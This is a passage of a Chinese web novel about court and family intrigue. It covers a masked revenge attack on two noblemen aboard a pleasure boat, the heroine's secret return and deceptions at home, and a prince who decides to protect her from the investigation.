“明修,你何须着急,这样的女人待会你还得看十一个呢。”谢锦程哈哈一笑。
晏明修赶忙收回了追随瑟瑟的视线,讪讪地躺回了原位。
先前的几位侍女们轻步绕出屏风,执壶斟满酒杯,将桌上切好的梨片用银叉送到二人唇边。
不过片刻功夫,珠帘又被新到的姑娘给掀起。
她表演的也是弹曲儿,先前瑟瑟已经弹过了琵琶,她弹的虽然是古琴,但少了几分惊喜。
因而晏明修和谢锦程便没有继续给簪子。
任凭她使尽浑身解数,两人都没松口。
一刻钟到,这姑娘只得悻悻地离开了他们的船。
下一个姑娘接踵而至。
然而两人今夜看了不少美人,簪子给得是愈发谨慎了。
直到第十个姑娘,他们才给出了第二支花簪。
“难不成争花魁的姑娘就这些?”谢锦程有些失望了。
话音刚落,铛啷啷一串脆响,帘子猝然荡开,一双缠着金铃的雪白赤足便踏了进来。
两人抬眼望去,顿时眼前一亮。
这一回来的姑娘戴着面纱,眉眼似乎用胭脂描红,多了一股难掩的魅惑。
面纱随着呼吸起伏,晃得人喉头发紧。
烟红薄纱堪堪遮住腰肢,隐隐约约透出其中赛雪的肌肤。
她每走一步,缀在裙摆的金铃便和脚踝上的那串一块叮叮当当响了起来。
晏明修看得袖口泼了酒都未曾察觉。
谢锦程也难得征神了片刻,他忍不住问道:“你叫什么名字?”
第68章 一次杀两人
然而这姑娘却没有说话。
紧跟在她身后,进来了一个抱着鼓的小丫鬟。
小丫鬟也和她一样,戴着面纱,只不过穿得严实多了。
“为何不说话?”谢锦程又问。
回应他的是鼓声。
舞娘冲他行了一礼,而后旋身踩着鼓点起舞,石榴红的裙摆扫得叮当作响。
船身跟随她的舞步轻微晃动。
谢锦程见她这姿态,不像练过舞的,心中有些惊讶。
还没来得及质问,就见她旋转着身子靠近了案几。
“诶,我可没说把花簪给你。”谢锦程探身想要阻拦。
舞娘便利落地从案几上越过,缠满铃铛的赤足已抵在他膝头。
从他的角度看去,裙底风光若隐若现,格外勾人。
谢锦程心跳乱了半拍。
舞娘含笑俯身,将冰凉的酒盏贴上他的唇边。谢锦程下意识地仰头张开了嘴,舞娘顺势将酒灌入了他口中。
一旁的晏明修已经看呆了。
此时,鼓槌重重砸下最后一个音。
先前打鼓的小丫鬟猝不及防从裙摆掏出了一支三寸长的铜**,对准谢锦程的下半身射去。
谢锦程只觉得胯间剧痛,猛地爆发出惨烈的尖叫。
喂酒的舞娘凑到了谢锦程耳边,阴恻恻道:“晏明修,我要你**。”
“我不是晏明修啊,他才……”谢锦程嚎到半截昏死过去。
打鼓的丫鬟第二支**箭对准了晏明修。
晏明修终于反应过来,将案几扛起挡在自己的面前,将那支**箭给挡偏了。
他还没来得及松一口气,舞娘拔下发间的金簪用力戳进他左眼。血液蹦出,晏明修感觉左眼一片黑暗。
他惨叫着往后闪躲,手掌撞翻了一旁的烛台,火苗蹿上锦缎屏风,一瞬间锁春艇便燃起了大火。
躲在屏风后边的侍女们惊慌失措地跑了出来。
舞娘不再迟疑,将射过来的两只**箭捡起,随后毫不犹豫地从窗户一跃而出。
躲在另一条船里烤火取暖的船夫听到有人落水,吓了一跳,忙举着灯笼出来查探情况。
他们只看见黑沉沉的水面上飘着先前送来的那位姑娘脸上戴着的面纱,连接两条画舫的铁链不知何时被人撬开,锁春艇早顺着暗流漂出一丈远。
“呀,着火了,快救人!”
“愣着干嘛,里边可是昭瑞亲王府的那位世孙,还有定远侯府的二少爷啊!快救人!”
两个船夫着急忙慌地叫人。
醉花楼的护卫们第一时间冲过来救火。
而两个凶手,早已借着夜色悄悄逃离。
*
岸上的双鲤守在马车旁,急得直跺脚。
九栀姐姐和小姐怎么去了那么久还没回来。
没过多久,水底忽然冒出一个几乎不着寸缕的身影,双鲤认出是九栀,赶忙把先前准备好的斗篷裹到了她身上。
“快上马车,已经生好炭火,还有汤婆子也都备好了。赶紧换衣裳喝姜汤,莫要染了风寒。”双鲤将她推上马车,继续在岸边焦急地等待。
九栀姐姐回来了,小姐怎么还不见踪影?
小姐腿脚才刚好一些,要从那么远的地方游过来,不会出什么事了吧。
她越想越害怕,急得在岸边来回踱步。
小姐这也太冒险了,若是小姐有三长两短,她该怎么办啊。
“哗啦”一声响。
水里冒出了个脑袋。
看清晏逐星的脸,双鲤喜极而泣地扑了过去。
“呜呜呜,小姐你总算回来了。”
“别哭,拉我一把,我没力气了。”晏逐星虚弱地吐出这句话。
“好。”双鲤赶忙将她扯上了岸。
马车里换好衣裳的九栀跳下来,和她一块将晏逐星抬上了马车。
晏逐星只觉得整个人都虚脱了。
躺在马车时,她才发现自己双腿还在打摆子。
见她没了力气,九栀直接捏住她的下巴给她灌姜汤,双鲤替她换了一身干爽的衣裳,随后用羊毛毯子把她紧紧裹住,又往她怀里塞了一个汤婆子。
晏逐星这才感觉先前金水河带来的刺骨寒意渐渐退去。
上回从马车上坠落的腿此刻有几分隐隐作痛,晏逐星决定回头去请季太医帮忙再瞧瞧。
虽说上回她伤得不算特别严重,但伤筋动骨一百天。
这才过了一个多月,还是谨慎点好。
见晏逐星的嘴唇从先前的惨白没有颜色,到渐渐浮起一丝淡淡的红,双鲤这才松了一口气,开始慢条斯理地
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替她烘干头发。
见她缓过劲来,九栀便出了车厢,裹紧斗篷驾着马车往侯府赶去。
离侯府百步远,九栀跳下马车。
候着的车夫立刻接过缰绳,她转身搀扶着裹着狐裘直打颤的晏逐星往侯府角门走。
双鲤打着灯笼亦步亦趋地跟紧两人。
晏明修出事的消息比晏逐星更早回到侯府。
定远侯得知儿子在画舫上出了事,惊得立刻从阮寄薇的被窝里爬出来,匆匆穿上衣裳往外赶去。
温如霜得知儿子生死未卜,当场晕了过去。
整个侯府乱成了一团。
因而晏逐星几人悄悄从角门回来,并未被旁人发现。
刚回到玉澜院,衔蝉便迎了上来。
“热水已经备好了,小姐请随我来。”
“嗯。你们也别冻着。”晏逐星扭头嘱咐九栀和双鲤。
“阿、阿嚏!
刚说完别冻着,她自己就先打了个带颤音的喷嚏。
三个丫鬟见状,七手八脚架着她胳膊往屏风后拖。
雕花木桶还冒着白汽,双鲤直接就把她往热水里送。
衔蝉赶忙阻止:“受了寒不能马上往热水里泡的,到时候手脚容易生冻疮。”
双鲤和九栀恍然大悟。
“你们先走吧,小姐这儿我来伺候就好。”衔蝉让她俩打了热水离开,她先用热乎乎的布给晏逐星浑身上下都搓了一遍。
搓到她自己微微发热了,这才让她泡进浴桶里。
这下,晏逐星感觉自己整个人都活了过来。
衔蝉搬来一张小凳子,坐在身后规规矩矩地替她沐发。
蒸汽缭绕中,晏逐星掬起一捧热水淋在肩上:“衔蝉,明日你便回永安王府去吧。”
衔蝉一惊,手里的动作顿住了。
她小心翼翼地问道:“可是奴婢做错了什么,惹得小姐不悦了?”
“你到底是王府的婢女,并非我的丫鬟。这段时间,你在我这受委屈了。”晏逐星语气十分平静。
衔蝉忙道:“不委屈,能跟在小姐身边伺候,是奴婢的福气。”
“是么?”
晏逐星轻笑一声,撩开粘在颈间的湿发,一字一句道:“既是如此,为何我的事你全都一字不漏地传回了永安王府。”
第69章 命根子废了
衔蝉手里的铜瓢磕在桶沿嗡嗡作响。
她没想到,大小姐什么都知道,只是一直什么都没说。
“奴婢,奴婢……”衔蝉张了张嘴,想要解释,但又不知道该怎么辩解。
最后只是颓然地垂下了头。
她的身契还在王府,她本就是王府的人,给王爷通风报信也是她的职责。
只是面对大小姐的质问,她还是有些羞愧。
毕竟大小姐待她真的很好。
“奴婢知道了,明日我就回王府去。”衔蝉抿唇,继续替她沐发。
晏逐星没有挽留。
虽然她也很喜欢衔蝉,也知道永安王对她没有恶意。
但她不想留一个一直窥探着自己的人在身边。
永安王只是暂时对她没有恶意,难保之后不会改变主意。
他的眼线,还是还给他的好。
约莫在晏逐星回府的三刻钟后,定远侯带着重伤的晏明修回了府。
当天夜里,侯府灯火通明,太医走后,又来了七八个大夫,一直在晏明修的院子里进进出出。
晏逐星没管他们,洗完热水澡后就直接去睡觉了。
她太累了,没空去逢场作戏。
翌日清晨,她给了衔蝉一张百两银票和一根银簪。
“这些时日,辛苦你了。这支银簪乃是我亲手做的。日后若你有事需要我帮忙,可以拿着簪子来侯府寻我。”
衔蝉收拾好包袱,看着这张银票,心里有些发堵。
她没有收下银票,直接过了簪子:“奴婢伺候小姐,王爷已经给过赏银了。簪子奴婢收下了,多谢小姐,往后您自己多多保重身子。”
“衔蝉姐姐,你要走了吗?”双鲤依依不舍地看着她。
衔蝉姐姐人漂亮又温柔,懂得还多,许多勋贵世家的礼仪都是她教她的。
她真舍不得衔蝉姐姐。
“嗯,王爷的玉坠已经找到了,我该回去了。”衔蝉摸了摸她的脑袋,没有说实话。
“我走之后,你好好伺候小姐。”
“嗯,我会的。”双鲤忍着眼泪点头。
看着衔蝉离开的背影,双鲤最终还是没忍住,跑过去一把抱住了她。
“衔蝉姐姐,呜呜呜,我舍不得你。”
晏逐星没有说什么,让她们小姐妹俩单独叙话,随后唤九栀推来轮椅。
“走吧,咱们去看看二哥。”
“是。”九栀推着她去了晏明修的院子。
温如霜早就守在了床边。
她和晏明修都躺着,母子二人看起来如出一辙的凄惨。
晏明修的左眼被厚厚的纱布包着,眼睛估计是保不住了。
“你来做什么?!是想看明修的笑话吗?”温如霜恨恨地看着她。
自打这丫头告官后,定远侯府就祸事频出。
她真是恨死她了。
她凉凉道:“二哥这左眼是怎么了?瞎了吗?”
“你才瞎了呢!”她一句话就挑起了温如霜的怒火,气得温如霜抓起手边的茶盏就砸了过来。
九栀瞬间想要出手接住,晏逐星察觉到她的意图,直接出手按住了她的胳膊,而后用力往后仰避开了泼出来的茶水。
九栀会武功的事情,暂时还不能暴露。
“小姐?”九栀见她被泼到,牙齿都咬紧了。
晏逐星冲她摇了摇头,示意她不要冲动。
那盏温热的茶只是泼到了她的身上,并没有溅到她的脸。
冬日衣裳穿得厚,她没什么感觉。
“二哥还活着,就是喜事。母亲何必做出一副**儿子的模样。”晏逐星确认了床上晏明修没死,只是瞎了,转身打算离开。
“你个混账东西。我告诉你,就你这副冷心冷肺、六亲不认的德行,迟早要遭天打雷劈!你且等着,你必定要比明修凄惨百倍,不得好死!”温如霜气得胸口起伏,大口大口地喘气。
“一大早的,吵吵嚷嚷什么!”定远侯的声音从院子里传来。
晏逐星赶忙冲他行礼:“见过父亲。”
“你这衣裳怎么了?”定远侯一眼就看到了她被打湿的衣裳。
晏逐星抿唇,随后委委屈屈地开口了:“母亲因为二哥伤势忧心,心情不好,泼了我一盏茶罢了。”
温如霜没想到她竟然当着她的面就颠倒黑白告状。
她干脆也破罐子破摔,怒吼道:“她又不是诚心来探望明修,她就是来看明修的笑话,我泼她茶怎么了。我还想扒了她的皮呢。”
“母亲,您这话可真是太让我伤心了。我昨夜歇得早,不知道发生了什么事。今日一早得知二哥受伤,便匆匆赶来了,连早膳都未曾用过。我怎么就不是诚心来探望二哥的了?”
晏逐星哽咽着反驳,手里的帕子都拧成了一团,眼里满是伤心和失望。
“你就是……”温如霜还没说完,就被定远侯打断了。
“胡闹!明修受伤,你迁怒星儿做什么?”
定远侯深吸一口气,将怒火压下。
他现在没心情给两人断官司,他只想快点把两人分开。
“星儿,你先回玉澜院去。”
“是。”晏逐星毫不犹豫,让九栀推着她回去。
戏演到这里就够了。
温如霜失望地看着定远侯。
侯爷已经变了,从前他最是疼爱他们母子,如今他却这样轻飘飘地放过了顶撞她的晏逐星。
“明修可醒了?”定远侯脸色阴沉地开口。
“尚未。”温如霜面容满是愁苦。
太医和大夫都说儿子这只眼睛是保不住了,万幸的是身上的烧伤不算严重,今日就能清醒过来。
一想到儿子缺了只眼睛,她这颗心难受得像是被人狠狠捅了好几刀。
定远侯的脸色也好看不到哪里去。
他压抑着怒火,开口道:“若他醒了,立刻将他送去昭瑞亲王府赔罪。”
“什么?”温如霜声音陡然变得尖厉。
“若不是谢锦程硬拖着明修陪
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他去什么醉花楼,明修怎么会生生废了一只眼睛。如今你竟然让他去给谢锦程赔罪?你真是枉为人父。”
定远侯也火了,怒声反驳:“你可知昨夜的祸事是谁招惹的?!”
他伸手指向床上还在昏迷的晏明修。
“正是你的好儿子!谢世孙也是受了他的牵连。”
温如霜瞪大了眼睛,不可置信道:“不可能!”
定远侯指节捏得青白,咬牙切齿道:“如今他只是瞎了一只眼,而谢世孙的子孙根都废了,从此以后就是个废人。昭瑞亲王的血脉都断了,他若是不去请罪,咱们整个侯府都得完蛋。”
温如霜如遭雷击。
她没想到谢锦程竟然伤得比自己的儿子还重,往后都不能人道了。
但她心底忽然又透出点扭曲的快意。
谁让谢锦程非要带明修去那种腌臜地方,命根子废了也是活该。
躺在床上的晏明修醒来,听到父亲和母亲争执,虚弱地开口:“不,我,没有……”
“明修,你总算醒了。”回过神来的温如霜,赶忙伸手握住儿子的手。
她想翻身把耳朵凑到儿子身旁,却无能为力,急得她猛拍床板。
“快听听二少爷说什么。”
嬷嬷李氏赶忙弯腰凑过去,就听到晏明修恨恨道:“此事与我无关,那人一来就冲着谢锦程去的。”
李氏将他的话原原本本地转达。
温如霜激动起来:“看吧,我就说和咱们明修没关系!”
定远侯露出了迟疑:“可王府那边传来了消息,说那人射杀王府世孙时,对他说的是‘晏明修,我要你**。’若不是冲着你去的,还能是谁。”
“我没有得罪过别人。”晏明修也激动了起来。
他一激动,就剧烈咳嗽了起来,下人们赶忙上前伺候。
见他否认得这么果断,定远侯陷入了深思。
莫不是昭瑞亲王骤闻谢锦程重伤垂危的噩耗,痛彻心扉的打击下竟失了方寸,刻意将明修推作替罪羊来宣泄心头之愤?
晏明修喝了一口水缓过气来,伸手摸了摸自己包扎的眼睛,惊恐道:“母亲,我是不是从今往后都看不见了?”
“你好好休息,日后……”温如霜说着谎话想要安慰儿子。
但晏明修根本不听,他抬手挥舞,根本不管温如霜身子不便,竟是直接将她从一旁的榻上推了上去。
“滚,你们都给我滚出去。”
“哎哟。”温如霜惊呼一声,摔在地上,狼狈地哭了起来。
“二少爷。”
“夫人。”
丫鬟们手忙脚乱了起来。
要安抚晏明修,又要抬走温如霜。
定远侯看着眼前的乱糟糟的一幕,心烦不已,转身就走。
此事诸多疑点,他还得再好好调查调查。
*
衔蝉背着包袱回了永安王府,想见王爷。
没想到,却被告知王爷被出关的国师请走了。
第70章 恐怕会杀夫
“永安王到——”
谢翊宁踏入天机殿的大门,便瞧见了站在国师张玄爻身侧的父皇母后。
他随意地冲二人行了一礼:“儿臣参见父皇、母后。”
不等他们开口回应,他就蹿到张玄爻跟前,伸手揪住那绺白须:“国师大人,您可算舍得出关了。哟,您这胡子,养得可真是越来越好了,油光水亮的。”
张玄爻没好气地拍掉他的手:“去去去。你小子一边去,九年不见,怎么还跟小时候一样淘气。”
皇后见他们还在慢悠悠地叙旧,急得不行。
她抓着文昭帝的手变紧,忍不住问道:“国师大人,您先前跟我们说石头的命数有变,死劫已解,可是真的?”
听到这话,谢翊宁神色一凛。
他的死劫,解了?
什么时候的事?
张玄爻甩开被扯歪的胡子,眼底戏谑褪得干干净净。
他严肃地点了点头:“先前我还不确定,但见到这小子,我能肯定了。他的死劫已解。”
“为什么?”谢翊宁脱口而出。
“你是死过一次的人。”他伸出苍老的手指,点在了谢翊宁的心口处。
张玄爻轻飘飘的一句话,让谢翊宁后背的汗**一瞬间就立了起来。
他的脑袋“嗡”一声响,变得一片空白。
国师大人什么都知道。
被他指尖轻轻一点,那日梦中醒来时被一箭穿心的剧痛好像又浮现在了眼前。
一时间,谢翊宁的脸上的血色褪尽如宣纸,冷汗涔涔。
“石头。”皇后瞧见他这副模样,心一下就悬了起来,吓得赶紧上前查探他的情况。
“我没事。”谢翊宁缓过神来,摆了摆手安慰母后。
文昭帝着急地看向张玄爻:“国师此话是何意?什么叫石头是死过一次的人?”
“这小子,命好。”张玄爻轻声笑了。
文昭帝和皇后屏住呼吸,急切地等着他的下一句话,都快喘不过气了。而他还在慢条斯理地整理着被弄乱的胡子。
皇后没忍住,追问道:“怎么个好法?”
“他呀,是遇上贵人了。有人替他挡了这个死劫,给了他一次重活的机会。”张玄爻也没有继续卖关子。
谢翊宁脑海里瞬间就闪过了晏逐星的模样。
难不成,国师大人说的贵人。
是她?
“那我们该去哪里感谢那位贵人?”皇后和文昭帝异口同声地发问。
张玄爻拂尘轻扬,眼尾笑纹里藏着玄机:“远在天边近在眼前,天机不可多言。”
说着退后两步,道袍在风中微动。
他深揖到底,而后起身露出了释怀的笑:“恭贺陛下与娘娘夙愿得偿,贺喜王爷否极泰来。自此劫波尽渡,岁岁长安。”
语毕,他径自踏着青砖飘然离去。
文昭帝和皇后追了上去。
“国师大人留步……”
然而张玄爻只是冲他们挥了挥手,没有回头
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他们知道他去意已决,此番回来只是验证他的猜测,便停下了脚步,没有继续去追。
文昭帝看向了皇后:“国师若是有事告知,自会现身。不必再强留。”
皇后点点头,牵着他的手走到了谢翊宁身边。
这么多年压在她心里的巨石终于落地了。
她笑容满面地问道:“石头,国师大人说的那位贵人,你可有什么线索?”
谢翊宁迟疑了片刻,没想好要不要把晏逐星救了他的事情说出来。
然而他的迟疑,落在皇后眼中就是知情。
皇后变得更兴奋了。
“石头,是谁,你告诉母后,母后要好好感谢人家!”
谢翊宁想到母后先前就想疯狂撮合他和晏逐星,若是真说出来了,她还不得立刻下旨赐婚呀。
万一到时候晏逐星对他没有男女之情,父皇母后赐婚让她嫁给他,依照她的性子,恐怕会做出杀夫的事情。
他想到那个场景,猛地开口:“儿臣不知。但你们也不要乱找人。我已经有了猜测,等确定是谁之后,我就告诉你们。”
“好吧。”皇后有些遗憾地点了点头。
而后她扭头看向了文昭帝,语气满是欢喜:“皇上,既然石头的死劫已过,咱们要不要将这个好消息昭告天下,好好为石头庆贺一番。”
“此事不宜立刻宣扬。”
“母后,不急。”
文昭帝和谢翊宁同时脱口而出。
第71章 又要失望咯
皇后很快也反应过来,她忙不迭点头:“本宫被这好消息冲昏头脑了,听你们的,不要声张。就咱们自家人小小地庆贺一番就好。”
若是这个消息传出去,保不准有心人会拿这件事做文章。
而且现在距离石头的二十岁生辰还有两年多呢。
万一中途又出现什么变故怎么办。
还是等石头及冠后再大肆庆贺为妙。
皇后拉着谢翊宁又问了几遍,见他还是不松口,便让他先行离开了。
谢翊宁一走,皇后就“哼”了一声。
“这臭小子,以为不说本宫就不知道了么。”
文昭帝笑了起来,温柔地替她把歪掉的发钗重新簪好。
“是是是,皇后这般聪慧,有什么能瞒得过你的。”
皇后歪着脑袋看向皇上,也笑了:“国师大人说远在天边近在眼前,那姑娘肯定在京城。甚至是在宫里。”
“不过石头对定远侯府大姑娘那样关注,十有**就是那姑娘了。只是不知道那姑娘究竟是什么时候救的他。”
文昭帝想起了儿子之前说的那个“梦”。
他笑道:“许是在梦中吧。”
*
谢翊宁回了王府,见到衔蝉,便将她叫到了书房。
“怎么忽然回来了?”
“大小姐查出奴婢把侯府里里外外的事情都暗中通报给王爷,便将我送回来了。还给了奴婢百两银票和一支银簪。”衔蝉羞愧地垂下了脑袋。
她将那支簪子交了出来。
谢翊宁把玩着那支簪子:“这是她亲手做的?”
“是。”衔蝉点头。
谢翊宁盯着簪子,想到了国师大人说的“贵人”,脑海里不自觉地就闪过了晏逐星的一颦一笑。
自打确认她在侯府有自保能力后,除了衔蝉,别的探子他都已经撤回来了。
没想到,衔蝉她也不想要。
或许,他应该改变一些想法。
谢翊宁抬头,见衔蝉眼巴巴地盯着那支簪子。
他干脆利落地将簪子收到了怀里。
“待会本王让何嬷嬷拿一匣子簪子让你选,你可以挑支别的。”
衔蝉懂了,王爷是不会把簪子还给她的了。
她只得认命点头:“是。”
谢翊宁看着桌上先前没整理完的醉花楼刺杀一案,心中猛地闪过一个猜测。
他看向衔蝉,开口询问:“昨夜,她可曾出过府?”
谢锦程和晏明修在醉花楼的画舫上**一事,昨夜便传得沸沸扬扬,他自然也已经知晓。
他觉得这事和晏逐星应该脱不了干系。
衔蝉点头。
谢翊宁又问:“她去做什么了?”
“奴婢不知。”衔蝉摇了摇头,随后还是说了实话。
“不过,大小姐傍晚就带着双鲤和九栀出门了,约莫是戌时三刻回来的。”
一旁的停云眼前一亮:“昭瑞亲王府的世孙和侯府的二少爷,似乎是戊正时出的事。从醉花楼到定远侯府,这个时间马车回去正好。”
衔蝉听到这话,皱眉:“大小姐昨夜并未用车。”
“若她要害晏明修,自然不会用侯府的车呀。”停云利落反驳。
“大小姐腿还没好呢,出行要么拄拐要
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么坐轮椅,她怎么可能跑去醉花楼伤人。”衔蝉再次反驳。
“说不定人家腿早就好了,只是防着你呢。”停云认准了这事就是晏逐星所为。
衔蝉被他这么一说,不吭声了。
但抿着唇的样子,很明显是不高兴了。
“你之前是不是说过,她一直有练习射箭?”谢翊宁看向衔蝉。
“是。”衔蝉点头。
“可曾见她用过**箭?”谢翊宁又问。
衔蝉想了想,摇头:“不曾。”
见停云还想要说话,一旁的照夜扯了扯他,示意他别开口,但还是没能拦住他。
停云:“可晏大小姐连有机关的酒壶都会造,打造一把小**对她来说也不算难事吧?”
谢翊宁挑眉看向他:“这么说,你的意思是昨夜放箭射杀谢锦程的是她?”
停云忙拱手回答:“属下只是猜测。毕竟从时间和逻辑上,晏大小姐都是最有可能的那个人。”
“啧,她这样可不行啊。”谢翊宁托着下巴。
停云眼睛唰地亮了,胳膊肘猛怼着照夜腰眼,挑眉使眼色:学着点,他们可是王爷的近卫,就该忠心谏言。
照夜:……
得,白劝了。
让这傻小子自己撞南墙去吧。
他虽然回京城的时间不长,但也清楚王爷对那位大小姐有多偏爱。
怎么停云留在王爷身边时间最长,反倒看不明白呢。
恐怕这一回,他又要失望咯。
停云没搭理他,挺直胸膛看向谢翊宁,朗声询问:“王爷,可要属下将这消息告知昭瑞亲王?”
第72章 被恶女蒙蔽
“告诉他做什么?”谢翊宁轻飘飘地斜了他一眼。
谢锦程整日寻花问柳,听说占了不少妇人的便宜,只是那些妇人都说是自愿的,倒也不能把他怎么样。
如今没了那玩意,以后估计老实多了。
“那王爷的意思是?”停云傻眼了。
“本王的意思是,她和谢锦程无冤无仇,怎么就射中了他那玩意。想必她一开始是打算射伤晏明修的,只是准头不够,射偏了。”谢翊宁一本正经地分析了起来。
“本王琢磨着,是不是该给她找个好一点的骑射教**?下回要射谁,就不会射偏,伤及无辜了。”
“不对,谢锦程那家伙,也不算无辜。”
停云:???
王爷说的这是什么话。
照夜拍了拍他的肩膀。
他早就料到了,事关晏大小姐,王爷怎么可能会检举揭发她,不帮着补刀都算手下留情了。
衔蝉欲言又止。
她想说,大小姐射箭其实射得挺好的。不说百步穿杨,百发百中,但十发至少有八、九发都能正中靶心。
但眼下这个情况,似乎又不太适合开口。
一时间,三人齐刷刷地沉默了。
“照夜,你去醉花楼走一趟,看看京兆府是否遗漏了什么证据。”谢翊宁有条不紊地吩咐了起来。
昨夜之事,也不知道她扫尾扫干净了没。
照夜当即领命:“是。属下若是发现了不利于大小姐的证据,会第一时间毁掉的。”
谢翊宁很满意他的机灵,赞赏地看了他一眼:“不错,办好了回头去傅叔那边领赏,你这个月俸禄翻倍。”
“多谢王爷!”照夜应下,唇角微微上翘。
停云猛地瞪了他一眼。
这小子,怎么这么没骨气!
怎么能为了那点俸禄就让恶女蒙蔽王爷呢。
见他想要张口,照夜生怕他说出什么不中听的话,赶忙勾着他的肩膀,把他拖出书房。
“王爷若是没有别的吩咐,我们就先去办差了。”
“去吧。”谢翊宁点了点头。
书房里只剩下他和衔蝉。
谢翊宁骨节分明的手指轻轻点了点桌子:“你是想留在王府当差,还是继续伺候晏大小姐?”
衔蝉有些犹豫,害怕自己会说错话。
王府虽好,但远没有在大小姐身边自由和舒服,处处都是规矩。
可她是王府嬷嬷一手教养大的,若是就这么选了大小姐,王爷会不会觉得她忘恩负义,是背主之徒。
谢翊宁猜透她心中所想,淡定道:“不必担忧本王责罚,实话实说就好。”
“你若想跟着她,本王不会怪罪你,待会就将你的身契送到她手中。从此你专心当她的人,不必将她的事告知本王。”
有了他这句话,衔蝉忙回答:“奴婢想跟着大小姐。”
“好。”谢翊宁对她的选择并不意外。
“只是,奴婢怕大小姐不愿意再要奴婢。”衔蝉有些不安地低下头。
“无妨,你将本王先前说的话告诉她便好。”谢翊宁说完,又补上了一句话。
“你让她不必想太多,她对本王有救命之恩,这份恩情,足以保她一辈子富贵无忧。今后若有事,可以来王府求助本王。”
“是。”衔蝉高高兴兴地答应了下来。
被拖出书房的停云还想回去谏言,还没走到门槛,就被照夜强行拽了回去。
“你是不是傻,还看不出来王爷对晏大小姐的心思么。”照夜无奈极了。
“你怎能做那种巧言令色,只进谗言的小人。王爷如今被恶女蒙蔽,我们就该多多进言。忠言虽逆耳,终须以诚相待。”停云振振有词。
“你才是小人呢。”照夜没好气地看了他一眼。
“王爷是什么人,你难道不清楚么。他认准了一件事情,很难去改。虽然不知道那位小姐对王爷何时有了救命之恩,但王爷说有,那就是有。”
“咱们做属下的,不要越俎代庖,主子吩咐什么,咱们照做就是了。不能替主子分忧就算了,怎么还净说些主子不爱听的话添堵呢。”
一开始,他也不明白晏大小姐那样品行不端之人,为何王爷对她那般偏爱。
但他深入调查后,发现晏大小姐这几年过得是真的惨。
侯府真千金归来后,她的生活一夕之间从云端跌入泥潭,这样的两重差距,她能活到现在才反击已经是大圣人了。
抱错孩子并非她所愿,怎么能全怪到她头上呢,她还是个孩子呀。
她有什么错。
虽然王爷总说晏大小姐是恩人,但他却很期盼王爷能娶了晏大小姐。
这样有手段的王妃,可比那些娇弱哭啼,事事需要主子操心的强。
没看见晏大小姐很护着手底下的人么。
这种主子,值得追随。
他板着脸看向停云:“你若再这样冲动,之后王爷要罚你,我可不会替你求情。”
被照夜这么一教训,停云觉得自己好像确实有些错得离谱了。
王爷才是主子,哪里轮得到他去替他做主。
“我听你的。”停云彻底老实了。
*
晏逐星正在屋内看书,就听到双鲤欢喜地跑了进来。
“小姐,衔蝉姐姐回来了。”
“哦?”晏逐星放下手里的书,望了过去。
“奴婢给小姐请安。”衔蝉背
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着包袱,冲她行礼。
“可是落下了什么东西?”晏逐星温和地看着她。
衔蝉羞涩一笑,将自己的**契递给了她。
“王爷说,从此以后我就是您的人了。您不必担心我会将您的事透露给王府。”
晏逐星有些惊讶。
她没想到谢翊宁会大方到这个程度,竟然直接把人送给她了。
晏逐星拿着**契没吭声,衔蝉一颗心七上八下的,也不知道她会不会接受自己。
“以后咱们又能一块伺候小姐了?”双鲤兴奋地拉住衔蝉的手,一蹦三尺高。
“还得看小姐怎么说。小姐若不愿意接受我,我就只能回王府去了。”衔蝉一边说一边打量晏逐星的神色。
双鲤顿时紧张地看着晏逐星。
晏逐星被他们的目光逗笑了,她看向衔蝉:“王爷可提了什么条件?”
“不曾。”衔蝉摇了摇头。
“但王爷说您对他有救命之恩,这份恩情,足以保您一辈子富贵无忧。今后若有事,可以去王府求助王爷。”
晏逐星没想到,上辈子那一箭竟然换来了谢翊宁这么深的感激。
这份恩情也太划得来了。
早知道谢翊宁那么大方,她就早早替他挡箭换来重生,早点过好日子了。
想到这,她“噗嗤”一下笑出了声。
她在想什么呢。
哪有这样的好事。
保不准**,就没下辈子了。
她还是好好珍惜如今活着的时光吧。
“那我便多谢王爷割爱了。”晏逐星微微一笑,收下了**契。
“从今往后,你还是我玉澜院的一等丫鬟。”
“是。”衔蝉笑眯眯地应了下来。
只可惜,这高兴的氛围并没能持续太久。
九栀来报:“裴大人来了,想见小姐。”
晏逐星微微蹙眉。
裴明镜登门,一定是来调查晏明修受伤一事。
他难道不该问完晏明修就走么,找她做什么。
难不成昨日她和九栀遗漏了什么?
她看了九栀一眼,九栀轻轻摇头。
昨夜跳河前,她将小姐射出的两根**箭都带走了。
“推我去见裴大人吧。”晏逐星收起笑意,沉声开口。
轮椅发出吱呀吱呀的声音。
裴明镜扭头一看,是丫鬟推着晏逐星来了。
“大小姐,好久不见。”裴明镜扫视着她的双腿,若有所思。
“是啊,好久不见,裴大人。”晏逐星笑着回应,表情上没有任何的紧张和不安。
“不知裴大人寻我何事?”她主动问了起来。
裴明镜放下手中的茶盏,从袖中抖出了一张帖子。
第73章 真正的试探
“阿芜那丫头让我替她送帖子,邀你过府一叙。大小姐若是有空,不如同我一块去家里坐坐。”
裴明镜将描金帖子顺着檀木桌面轻推到晏逐星面前。
晏逐星有些讶异,他寻她竟然是为了帮裴芜递帖子么。
她伸手将帖子推了回去。
“裴大人有所不知,令堂曾放话,有她的地方没我。国公府我是万万不敢再去的。若裴二小姐有事相约,不妨来定远侯府寻我,我定扫榻以待。”
裴明镜没有纠缠,将帖子收回。
他笑道:“家母那只是一时的气话,还请晏大小姐不要放在心上。”
晏逐星笑了笑,没说话。
裴明镜又说回了裴芜。
“不知为何阿芜与大小姐格外投缘,心心念念想见你。昨夜同我出门逛夜市,连糖渍梅子都要买两包,说是要给你留一包。”
说着,他忽然话锋一转:“不知大小姐昨夜去了何处?我与阿芜在金水河附近买吃食时,似乎瞧见了你。”
虽然他之前一直在说裴芜,但晏逐星一直防着他。
听到这话,她暗道一句:果然如此。
裴明镜在给她挖坑呢。
她立刻露出了恰到好处的惊讶:“你们认错人了吧?我昨夜一直待在府里,哪儿都没去。”
“是么?那我怎么看见了贵府的马车?”裴明镜继续试探。
“昨夜我二哥出门了,大人瞧见的许是他的马车。”说到这,晏逐星露出了担忧的表情。
“裴大人,伤我二哥的凶手,你可查到了?”
裴明镜意味深长地看了她一眼。
“正在查。此人十分狡猾,恐怕本官这一回又要无功而返了。”
“满京城谁不知道裴大人您的厉害,您一定能抓到凶手的。”晏逐星露出崇拜的表情。
“那可未必。上回大小姐同夫人从马车坠落一案,本官至今都没有查到真凶。”裴明镜眼里闪过一丝试探,“大小姐不会怪罪本官吧。”
“怎么会!”晏逐星果断否认,眨巴着大眼睛看着他,看起来单纯又无辜。
